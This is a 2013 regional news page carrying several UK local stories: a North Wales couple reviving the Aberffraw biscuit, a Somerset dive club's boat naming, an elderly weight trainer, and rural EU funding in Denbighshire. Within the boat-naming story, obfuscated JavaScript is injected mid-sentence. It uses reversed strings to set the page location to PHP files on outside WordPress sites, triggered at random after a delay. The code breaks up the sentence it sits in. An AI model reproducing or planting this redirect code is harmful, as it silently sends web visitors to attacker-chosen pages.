Category: News

Sweet-toothed North Wales couple revive the oldest biscuit in Britain

Llangollen Food Festival, newcomer James Shepherd and his wife Natasha have started Aberffraw Biscuits.

A sweet-toothed couple have revived the oldest biscuit in Britain that dates back to the 13th century.

James Shepherd and his wife, Natasha, have set up a company to make the historic Aberffraw Biscuit which was first baked in the Anglesey village of the same name 800 years ago.

The tasty scallop-shaped biscuit will be launched at the new products section of Hamper Llangollen, the 16th Llangollen food and drink festival on October 19-20, which is now officially one of the UK’s top 10 food festivals.

The couple have taken the basic ancient shortbread recipe and use only premium Welsh ingredients to produce a very moreish biscuit in a variety of flavours.

James, originally from Llandudno, and Natasha, a Welsh-speaker from Trefriw, met at Leicester University, married 10 years ago and have two children Rowan, seven, and Jasmine, five, both pupils at Ysgol Bro Aled in Llansannan.

While Natasha continues to work part-time for a governmental agency, James – whose background is in journalism – is developing Aberffraw Biscuit Company and is co-founder of Yoller, a web design and digital marketing agency.

“We were watching the Great British Bake Off last October and they had a feature about the Aberffraw biscuit.

“We started chatting about it and realised that despite the fact we were both from North Wales and lived here all our lives, we had never even heard of it, never mind the fact it was supposed to be Britain’s oldest biscuit,” said James.

“The first thing I did was to buy the domain names for the website and then did some research to build an informational website and start developing a business plan.”

An enthusiastic home cook and amateur baker, James makes the biscuits and even designs the packaging.

Along the way he has received plenty of expert help. “I was introduced to the founder of Patchwork Pate, Margaret Carter from Ruthin, who does brilliant work mentoring young entrepreneurs.

“Then I was introduced to Roberet Price at the rural development agency Cadwyn Clwyd and he put me in touch Coleg Menai’s food technology centre at Llangefni and now I’m looking at rural business support grants.”

 “From the start we wanted everything to be as authentic as possible, from the unique stamp for the scallop shape of the biscuit to the ingredients which include Calon Wen organic butter and Bacheldre Mill stoneground organic unbleached flour.

“The biscuit has a great marketing story. When you think about it all the gift shops and tourist shops in North Wales all seem to sell Scottish shortbread and I would just like to get them out and the Aberffraw in.”

The Aberffraw biscuit (or sometimes Aberffraw cake) and is said to originate from 13th Century Anglesey.

Legend has it that a Welsh king was holding court in Aberffraw and his wife was walking on the beach there and, spotting a pretty scallop shell, asked for a cake to be baked in the same form.

A far more realistic source for the biscuit was the famous pilgrimage to Santiago de Compostela.

This pilgrimage to the church of St James in Galicia, north western Spain, began in about the 8th Century with pilgrims wearing badges on their hat in the shape of a scallop shell.

It’s for this reason Aberffraw biscuits are sometimes also called James cakes. Under the patronage of King Gruffudd ap Cynan (1075-1137) or his son and successor Owain Gwynedd (1137-70), a stone church was built at Aberffraw with Romanesque features similar to 12th Century churches on the pilgrimage route to Santiago de Compostela.

This building is the final link to the scallop shell of St James pilgrims and the small Welsh village of Aberffraw.

The Aberffraw biscuit also appeared in the famous Cassell’s Dictionary of Cookery in 1892.

“Aberffraw Biscuit Co is all about resurrecting a piece of great history… the oldest biscuit recipe in Britain. We want to rekindle this gem of Welsh heritage and bring it to wider attention for people of all ages, backgrounds and nationalities to enjoy,” said James.

The flavours produced are chocolate, lemon, orange, traditional and vanilla.

James worked for the Rhyl and Prestatyn Visitor, North Wales Weekly News, and the Flintshire Chronicle where he was news editor and finally at the group’s Chester headquarters as its digital editor.

He left journalism in 2011 to work for kitchenware group Meyer at Bromborough where he headed up their e.commerce division. He is still retained by the group in that capacity on a freelance contract.

Cadwyn Clwyd’s contribution to Hamper Llangollen comes via the Rural Development Fund for Wales 2007-2013, which is funded by the European Agricultural Fund for Rural Development (EAFRD) and the Welsh Government.

Robert Price said: “One of the main aims of the festival is to provide a show window for our wonderful array of food producers.

“This year we have decided to have a special section devoted to new products like the Aberffraw Biscuit so that we can showcase what they have to offer.

“We were thrilled to be named as one of the top 10 festivals in the UK and this year’s event is looking as if it is going to be one of the best ever.

“The location of the Pavilion is absolutely  spectacular – I can’t imagine that any other food festival in the UK has a more beautiful setting.”

Check out Aberffraw biscuits at www.aberffrawbiscuits.com and Hamper Llangollen at www.llangollenfoodfestival.com

Wednesday August 21st, 2013

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News

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Glastonbury founder and TV presenter name new scuba diving boat

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if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tovnikoff named Street BS-AC's new RIB in a ceremony at Clarks Village, Somerset $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}today (20/07/13).

GLASTONBURY festival founder Michael Eavis named a new boat for a group of scuba divers who cooked up the funds to buy it by serving breakfasts for more than two decades at the world famous music event.

He was helped by BBC TV presenter and qualified diver Miranda Krestovnikoff to launch the new rib boat, belonging to Street Divers, a branch of the British Sub-Aqua Club (BSAC), with a bottle of Somerset cider.

The naming of the boat, which previously saw service in the 2012 Olympics and cost more than £40,000, was held at Clarks Village Outlet, Street.

The naming of the boat, which is called Street Diver, was watched by a large crowd, said the club’s publicity officer Kate Open.

“It all went perfectly, and there was a big cheer when Miranda and Michael smashed the bottle. We’ve had lots of interest from families and people have signed up for try-dives as well,” she said.

“As a thank you for supporting us we presented both Miranda and Michael with a bottle of the cider we used to name the boat and a club t-shirt.

“Miranda had honorary club membership and open invitation to join us diving while Michael had a try dive voucher for him and his family.”

Every penny from the egg, bacon and sausages, plus gallons of hot tea and coffee, served to Glastonbury campers by Street Divers goes to support the club’s underwater programme.

But one person who’s never had chance to sample the club’s breakfasts is Michael himself. He said: “I’m always too busy to stop and eat at that time – perhaps at the end of the day. As well as the music festival, we’re a working dairy farm, so all the jobs still need doing.

“This is the second time I’ve been invited to name a boat for the divers – the last time was about 14 years ago. Mind you that was a lot smaller than this boat, which is very swish.

“For this naming ceremony, we’ve used a local cider, Burrows Hill, which is made by my friend Jim on his farm, from his own apples. We also sell it at the festival, and everybody’s having a taste now!”

The 77-year-old dairy farmer is no stranger to life on the water, though he’s never been diving. “I’m used to boats, as I was in the Navy when I was younger, plus I used to be in the rowing team at naval training college, on the Thames.”

He and daughter Emily are busy signing up names for next year’s festival, and revealed he’d love superstar David Bowie to return to Worthy Farm.

“The younger ones sort out most of the music, but I like to book the headline names. I can’t tell you at the moment who that will be as we’re still talking to people. David’s done it a couple of times before but I’m sure he could come back again.”

BSAC member Miranda co-presents BBC series Coast, and also films underwater items for the One Show and natural history shows.

She said: “Today has been amazing – I’ve never named a boat before. I didn’t think the bottle would smash but it did – and it was great that it was West Country cider, rather than Champagne.

“It is wonderful that the club has been able to buy the boat by simply serving up breakfasts at Glastonbury – their hard work has definitely paid off.”

In the past week Miranda has been filming off the east and west coasts of the UK, on a chalk reef off the coast of Norfolk, plus in Cardigan Bay near Newquay, for the One Show, due to be broadcast later this summer.

“The Norfolk reef, which was only discovered a few years ago, was teeming with crabs, lobsters and a huge wealth of wildlife,” she said.

“In Cardigan Bay we saw a spider crab migration – there were thousands of them. I’m a big fan of diving in UK waters – it’s really warm at the moment, around 18C and visibility is good. You don’t need to go abroad to see amazing things underwater.  It’s  all here in the UK.”

From beginner to expert, BSAC provides extensive diver training and welcomes membership of divers trained by all other agencies. 

Mary Tetley, BSAC Chief Executive, said: “Street Divers should be very proud of their fantastic achievements and hard work saving up for this terrific new boat.

“BSAC club members are very dedicated not only to their branch but also to the sport of diving and while I have heard of many weird and wonderful ways of fundraising in the past, serving breakfasts at Glastonbury for 25 years is a definite first!

“BSAC is marking its diamond jubilee this year and events such as this are a terrific way of celebrating our organisation’s milestone anniversary.

“I would urge anyone in the area who is thinking of trying scuba diving or returning to the sport to contact Street Divers and become part of their fabulous adventures.”

The boat, along with all the navigational gear cost £40,000. Made by Yeovil-based Ribcraft, it first saw service at the London 2012 Olympics.

To learn more about Street Divers Sub Aqua Club visit www.streetdivers.co.uk or to learn more about BSAC visit www.bsac.com

Thursday August 15th, 2013

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Loughborough weight trainer, Arthur, 81, is Older People’s Ambassador

Arthur_01 web 1

AN 81-year-old weight trainer from Loughborough has been appointed as a shopping centre’s first Older People’s Ambassador.

Arthur Bexon, father-of-three, grandfather-of-five and great grandfather-of-three with another on the way, is lending his muscle to a new series of Silver Saver days at Carillon Court.

He still visits the gym three times a week despite battling Parkinson’s disease, breathing trouble and gout.

Carillon Court has launched a new, weekly promotion which will entitle senior citizens to a whole host of offers and discounts every Thursday from now until November.

The remarkably fit octogenarian has been named as the face of the Silver Savers campaign in his role as Older People’s Ambassador.

Stores taking part in the campaign include Boots, Tylers department store, Carillon News, The Body Shop, Vision Express, Carillon Court Shoe Repairs, Thorntons, Greeting Cards and H.Samuel.

Arthur has been weight training since the age of 45 when a knee injury forced him to give up football and he wanted a way to keep fit which didn’t involve running. He trains regularly with a man almost half his age, up to two hours at a time, fitting in a range of exercises to keep himself in trim and bench pressing the equivalent weight of an average adult.

Baljit Kooner, Carillon Court Manager, said: “Arthur is a shining example of a more mature person and does not let age get in his way. You can tell just from talking to him that he is very young in heart and mind. I think it is this positive attitude which helps him stay so fit.

“He puts us all to shame with his regular trips to the gym and he is the perfect candidate for our role of Silver Savers Ambassador to help launch our new discount day for senior citizens. They will be treated to a range of fantastic offers and discounts every Thursday until November.”

Arthur, a retired furniture store manager who has lived in Loughborough all of his life, said: “I used to regularly lift 100 kg but now I am down to more like 70 kg. I have quite a set routine. On a Saturday I do chest and maybe biceps but the main thing is chest.

“On a Monday I concentrate on shoulders and on a Wednesday, it’s back. I fill in with triceps, biceps and abdominals depending on where I feel I need to put the work.

“It makes you feel good and it is the social side of it too. I go there and have laugh and a joke with people – that’s what I’m known for.

“People say to me, I hope I have got a body like yours when I’m that age but not with a face like that!”

Arthur believes it is his regular trips to the gym that help keep him young at heart.

He said: “It’s like going to work. I have been doing it for so long, it becomes a regular occurrence in life and for me it is part of the routine of living.

“I have always felt that you are as old as your mind wants you to be and mine wants me to stay young!”

Arthur was made redundant from the furniture store where he worked after more than two decades. He then went on to drive a bus for a year before taking an unusual driving job at East Midlands Airport where he was a chauffeur for airline pilots, taking them between airports all over the country, back to where their journey had begun and where their cars were normally waiting for them.

After retiring from this job, he later became a community transport driver, first helping to take special needs children to school and later for more elderly passengers who were often close to his own age.

Arthur said: “I did ten years for Dial-A-Ride and had to retire aged 80 because they couldn’t insure me anymore.

“It’s just as well I still have my weight training to keep myself occupied because I’m not ready to take life too easily yet!”

For more information about Silver Savers Day at Carillon Court shopping centre, go to www.carilloncourt.co.uk

Thursday August 15th, 2013

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Cadwyn Clwyd help secure £14 million EU fund to boost rural economies

CADWYN CLWYD EISTEDFFOD 2013, MINISTER ALUN DAVIES VISIT. Pictured is Robert Price, Cadwy Clwyd, minister Alun Davies and Alyn Ashworth head brewer at Denbigh Brewery.

A rural development agency has helped secure £14 million of European funding for rural Denbighshire and Flintshire.

The news was revealed at a Celebration Event of Cadwyn Clwyd projects and the launch of a new DVD about the work of Cadwyn Clwyd.

Among the VIP guests at the launch at the National Eisteddfod in Denbigh was Alun Davies, the Welsh Government Minister for Natural Resources and Food.

Cadwyn Clwyd was set up 13 years ago to help regenerate rural Denbighshire and Flintshire.

Manager Lowri Owain said: “As a company, we’ve been very successful in helping to get projects realised and we work with a wide range of projects.

“We’ve also been very successful as regards the funding we’ve attracted through the competitive tendering process.

“In all, we’ve secured over £14 million of funding from Europe’s Rural Development Plan and also the Welsh Government for the communities of Denbighshire and Flintshire.

“I am proud of our record of delivering successful projects, ranging from the new community shop in Pwllglas, providing support for pubs through the Pub is a Hub scheme established by the Prince of Wales, renewable energy projects as well as helping to set up the Clwydian Range Food Trail.”

According to John Les Tomos, the Chairman of the successful Mold Food Festival, the support of Cadwyn Clwyd had been vital.

As a result of the backing, he said, the festival now provides an £800,000 boost to the local economy every year.

Another successful project is the bursary scheme to help budding entrepreneurs in the two counties.

Finance Officer Catrin Jones explained: “The bursary scheme has been started to help individuals from the rural areas of Denbighshire and Flintshire to establish themselves in business for the first time,  to take the first step into the business world.

“We’ve already helped in excess of a 100 people to establish a business and we’ve supported a variety of different businesses.”

Mr Davies also visited the  mini food festival organised by Cadwyn Clwyd in collaboration with Menter a Busnes at the Eisteddfod.

Cadwyn Clwyd’s contribution came via the Rural Development Fund for Wales 2007-2013, which is funded by the European Agricultural Fund for Rural Development (EAFRD) and the Welsh Government.

Local produce tents have not been a regular feature at every National Eisteddfod, but Rob Price, agri-food officer for Cadwyn Clwyd, wanted to ensure local producers were part of Wales’ biggest festival.

“It’s gone really well, we had 16 North Wales food and drink producers keeping the produce stalls full all week,” said Rob.

“We have put together this package with our partners the Welsh Government, Northern Marches Cymru and Menter a Busnes. We felt it was important at Wales’ premier cultural festival that local food and drink producers had a suitable showcase for their produce.”

Among the products being showcased was a new beer, Sion y Bodiau – a light, refreshing summer beer – from the micro brewery, Bragdy Dinbych (Denbigh Brewery).

According to brewer Alyn Ashworth, the legend of Sion y Bodiau features a knight called Sion, who was able to slay a troublesome dragon living in the ruins of Denbigh Castle, and which was terrorising townspeople, because the dragon was distracted on seeing Sion’s two thumbs on each of his hands!

Alyn, originally from Manchester, said: “The name for the new beer was suggested by one of the tutors at the Welsh language centre I attend weekly at Lenten Pool.

“I’m selling five different beers at the produce tent. Most of the beers have been very well received but the most popular one I make is Cwrw Du’nbych/Black Denbeer – A traditional Celtic black Porter.

“The idea behind Sion y Bodiau was I wanted to produce a beer especially for the Eisteddfod – where there was a no-alcohol rule for many years – a beer which was not too strong and which was light and refreshing for a summer festival. This beer is 3.2% AVB in alcohol strength whereas some I make are 7.2%.

Alyn, whose background is in computing, has lived in Denbigh for nearly 11 years and last year he also produced a special one-off limited edition Denbigh Plum Ale for the famous Denbigh Plum Festival.

Another product being launched at the National Eisteddfod was a new paté from Patchwork Paté which has helped create five new jobs at their base in Ruthin.

Its first Welsh pâté, chicken liver paté with apple and Welsh cider, is  made with Rosie’s Triple D cider from Llandegla and Blodyn Aur Rapeseed Oil, pressed at Derwydd, a farm near the village of Llanfihangel Glyn Myfyr, between Ruthin and Cerrigydrudion.

The produce tent included: Bodnant Food Centre, Harvies Pies, Snowdonia Cheese, Aballu chocolates of Rossett, Patchwork Pate, Megan’s Kitchen, Aerona liqueurs from Pwllheli, Orchard Pigs, North Wales Brewery, Môn ar Lwy (Anglesey ice cream), Siwgr a Sbeis the Llanrwst bakery, Denbigh Brewery, Denbigh Chocolate Shop, Caru Amore pasta, Amanda Jane Liqueurs and Cig Eifion Howatson Meats, a recently established charcuterie company.

Wednesday August 14th, 2013

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News

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